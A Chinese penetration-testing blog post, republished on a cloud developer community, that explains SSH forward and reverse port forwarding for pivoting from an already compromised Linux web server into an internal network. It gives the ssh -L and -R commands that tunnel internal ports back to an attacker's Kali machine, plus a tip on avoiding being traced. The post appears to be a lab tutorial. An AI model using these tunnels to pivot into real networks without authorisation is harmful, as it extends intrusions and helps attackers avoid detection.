前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >关于入侵后的ssh正向代理和反向代理

关于入侵后的ssh正向代理和反向代理

作者头像
网e渗透安全部
发布于 2023-09-01 12:49:48
发布于 2023-09-01 12:49:48
53200
代码可运行
举报
文章被收录于专栏:白安全组白安全组
运行总次数:0
代码可运行

前言:

这里模拟的一个环境:

kali攻击机------web服务器------内网主机

这里的环境是我们已经入侵到web服务器,并且使用msf在web服务器中植入了木马,我们现在需要通过代理将web作为跳板入侵内网主机。

正向代理:

这里还是接上面的环境,ssh的正向代理,这里遇到的是我们遇到一台对外主机是Linux的主机

然后我们需要通过Linux的主机当跳板去访问内网另一台的主机,这里我们就需要进行ssh的正向代理

方式很简单,我们指定Linux这个已经被我们控制的主机,指定另一台无门无法访问的内网主机的端口

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ssh -CNfL 0.0.0.0:8888:192.168.1.222:8080 root@127.0.0.1

这里就是我们可以通过这个我们拿下的这台Linux的8888端口访问内网我们无法访问的222主机的8080端口了

这里最后我们需要输入Linux主机的密码

这样就完成了

我们可以通过访问Linux主机来访问内网主机

反向代理:

反向代理需要我们Linux这个中间人主动去链接黑客主机,这里有两个方式

第一个我们可以使用ssh去将Linux22端口代理给kali主机的2222

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ssh -qTfnN -R 2222:127.0.0.1:22 root@kali  ip

这里我们需要输入kali的密码(实战中可以使用kali权限较低的账号,方式被反查,或者使用完及时更换密码)

这样我们kali链接自己的2222端口可以直接链接上Linux主机

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ssh -p 2222 root@127.0.0.1

第二个我们可以直接将内网服务器指向kali

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ssh -qTfnN -R 2222:内网web服务器IP:8080 root@kali IP

这样我们就可以直接使用kali访问内网的web网站

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-07-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
巧用SSH转发功能深入穿透内网
ssh能够提供客户端到服务端的加密传输,当http、ftp等协议被防火墙所拦截时,可以考虑使用SSH的端口转发功能,将其它TCP端口的网络数据通过SSH连接来转发。
FB客服
2021/02/08
1.7K0
Nginx 学习 —— 正向代理与反向代理
今天花点时间记录下nginx的反向代理知识,之前也是有用过,但是我觉得还是依旧简单地记录下来,好记性不如烂笔头,说不定你以后学了新知识,又把它忘记了,回过头想重新学习,又得百度一下这找博客,那找博客,学习成本多大呀!
芋道源码
2018/10/26
1.5K0
实战 | 记一次靶场实战绕过Nginx反向代理
本环境为黑盒测试,在不提供虚拟机帐号密码的情况下进行黑盒测试拿到域控里面的flag。
HACK学习
2021/08/13
4.3K0
正向代理和反向代理的区别?
在现代网络架构中,代理服务器扮演着至关重要的角色。无论是企业网络还是互联网服务,代理技术都广泛应用以提高性能、安全性和可管理性。正向代理和反向代理是两种最常见的代理类型,虽然它们都作为中间人处理客户端和服务器之间的通信,但设计目的和工作原理却大不相同。本文将深入探讨这两种代理的区别,帮助读者理解它们各自的适用场景和优势。
疯狂的potato
2025/05/16
930
正向代理和反向代理的区别?
内网转发及隐蔽隧道 | 使用SSH做端口转发以及反向隧道
SSH开启端口转发需要修改 /etc/ssh/sshd_config配置文件,将 GatewayPorts修改为yes
谢公子
2022/01/19
2.1K0
内网转发及隐蔽隧道 | 使用SSH做端口转发以及反向隧道
通过SOCKS代理渗透整个内网
经过前期的渗透工作,我们现在已经成功找到了web站点的漏洞,并且获得了一个普通的webshell,现在准备用菜刀去连接它。
全栈程序员站长
2022/07/05
1.7K0
通过SOCKS代理渗透整个内网
Nginx正向代理与反向代理 负载均衡
Nginx #1 什么是正向代理 正向代理类似一个跳板机,代理访问外部资源 举个例子: 我是一个用户,我访问不了某网站(用户知道该网站的服务器地址),但是我能访问一个代理服务器,这个代理服务器
Autooooooo
2020/11/09
8830
Nginx正向代理与反向代理 负载均衡
代理与转发常用工具汇总
自己对内网渗透搭建链路上很不熟练,乘着出差路上测试一下,有不当之处多多指正。好久不发文了,居然有付费阅读了,借此机会测试一下,内容比较粗糙,后期在全文发。相关工具在后台回复“01代理转发”可以获取下载链接。
用户5878089
2021/03/11
2.9K0
流量转发映射
客户端无法直接请求服务器,只能将请求发往转发代理服务器(简称代理服务器),代理服务器将请求转发给服务器,接收到服务器响应后再将响应转发回客户端。适用于客户端从内部网络访问外部网络时,可能由于防火墙的存在无法直接访问外网,这时需要借助转发代理服务器访问外部网络
宸寰客
2020/10/10
2.6K0
流量转发映射
应用层隧道技术:SSH隧道反向代理(非主流用法)
socks5代理(-D):相当于ss/ssr指定本地“动态”应用程序级端口转发。这通过分配一个套接字来侦听本地端的端口(可选地绑定到指定的bind_address)来实现。每当与此端口建立连接时,该连接都会通过安全通道转发,然后使用应用协议确定从远程计算机连接到的位置。当前支持SOCKS4和SOCKS5协议,而ssh将充当SOCKS服务器。只有root可以转发特权端口。动态端口转发也可以在配置文件中指定
FB客服
2021/09/16
4.3K0
SSH正向代理
我直接在C上打开了Jupyter notebook(可以百度一下jupyter 远程访问),但是C并没有开放8888端口(jupyter默认是8888端口),只开放了常用的端口,如22端口等。那么首先需要解决的是使B能访问到C端的jupyter网页,这时只需要在B上配置ssh,使用ssh的端口转发的功能来访问C的8888端口
Aidol
2020/12/03
1.7K0
SSH正向代理
图解正向代理和反向代理的区别_nginx配置多个正向代理
套用古龙武侠小说套路来说,代理服务技术是一门很古老的技术,是在互联网早期出现就使用的技术。一般实现代理技术的方式就是在服务器上安装代理服务软件,让其成为一个代理服务器,从而实现代理技术。常用的代理技术分为正向代理、反向代理和透明代理。本文就是针对这三种代理来讲解一些基本原理和具体的适用范围,便于大家更深入理解代理服务技术。
全栈程序员站长
2022/09/27
6.1K0
图解正向代理和反向代理的区别_nginx配置多个正向代理
快速了解正向代理与反向代理
比如访问某些国外网站,可能需要购买vpn,并且vpn是在用户浏览器端设置的(并不是在远端的服务器设置)。浏览器先访问vpn地址,vpn地址转发请求,并最后将请求结果原路返回来。
全菜工程师小辉
2019/08/28
6770
快速了解正向代理与反向代理
如何向老板解释反向代理?
由于我家老板看过之后,对这篇文章的评价是:写的不错,语句是通顺的,排版是可以的,但反向代理是什么还是不清楚?所以我就想尝试着向非 IT 工作者解释“正向代理”和“反向代理”。
马哥linux运维
2019/07/23
6610
如何向老板解释反向代理?
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
一只特立独行的兔先生
2023/11/01
1.4K0
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
针对nginx,我们来具体聊聊正向代理与反向代理区别
所谓代理服务器就是位于发起请求的客户端与原始服务器端之间的一台跳板服务器,正向代理可以隐藏客户端,反向代理可以隐藏原始服务器。
java思维导图
2018/07/26
4750
针对nginx,我们来具体聊聊正向代理与反向代理区别
ssh代理
ssh隧道技术 1. 用ssh做正向连接 啥叫正向连接?就是client连上server,然后把server能访问的机器地址和端口(当然也包括server自己)镜像到client的端口上。 ssh -L [客户端IP或省略]:[客户端端口]:[服务器侧能访问的IP]:[服务器侧能访问的IP的端口] [登陆服务器的用户名@服务器IP] -p [服务器ssh服务端口(默认22)] 其中,客户端IP可以省略,省略的话就是127.0.0.1了,也就是说只能在客户端本地访问。服务器IP都可以用域名来代替。 举例说明:
小小科
2018/05/02
2.7K0
代理技术 | 重磅,代理服务器背后的故事(正向、反向代理)
传说中的代理服务技术是一门很古老的技术,互联网早期就已经出现,一般来说,实现实现代理技术的实现就是在服务器上安装代理软件,成为代理服务器,从而配置\实现代理技术。 其实网络代理的玩法真的很多。之前知道如何使用,今天我们看看代理背后的故事。 我们以nginx为例,常用的代理技术有:正向代理、反向代理和透明代理。真正项目中常用的是反向代理和正向代理,透明代理我们了解一下就可以,本文重点讲正向代理和反向代理。 老规矩,走一波概念: 1
码神联盟
2018/04/02
2.1K0
代理技术 | 重磅,代理服务器背后的故事(正向、反向代理)
05 . Nginx的反向代理与负载均衡
Nginx负载均衡 客户端的访问都被代理到后端的一台服务器上,最终会出现性能瓶颈,从而导致效率降低,前端用户的访问速度急速下降,要解决这个问题就需要添加多台httpd,同时承受大量并发连接,每台服务器接收的并发连接降低了,效率就高了,nginx作为代理,在收到客户端的请求时,会分发到不同的后端服务器,但是nginx收到请求之后会分配到那个服务器之上,有什么规律和需求,就需要用调度算法来分配. upstream语法 # upstream的定义必须在server{..}外定义 upstream <组名
iginkgo18
2020/09/27
8910
内网渗透测试:隐藏通讯隧道技术
上一节中,我们讲解了网络层的隧道技术(IPv6 隧道、ICMP 隧道)和传输层的隧道技术(TCP 隧道、UDP 隧道、常规端口转发)。现如今,TCP、UDP 通信大量被防御系统拦截,传统的Socket隧道也已经濒临淘汰,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中,我们将对应用层的隧道 SOCKS 代理技术进行实验性的讲解,由于小编能力太菜,很多东东也是现学现卖,应用层的DNS隧道我会在未来专门写一个专题进行讲解。
FB客服
2020/07/13
2.4K0
相关推荐
巧用SSH转发功能深入穿透内网
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验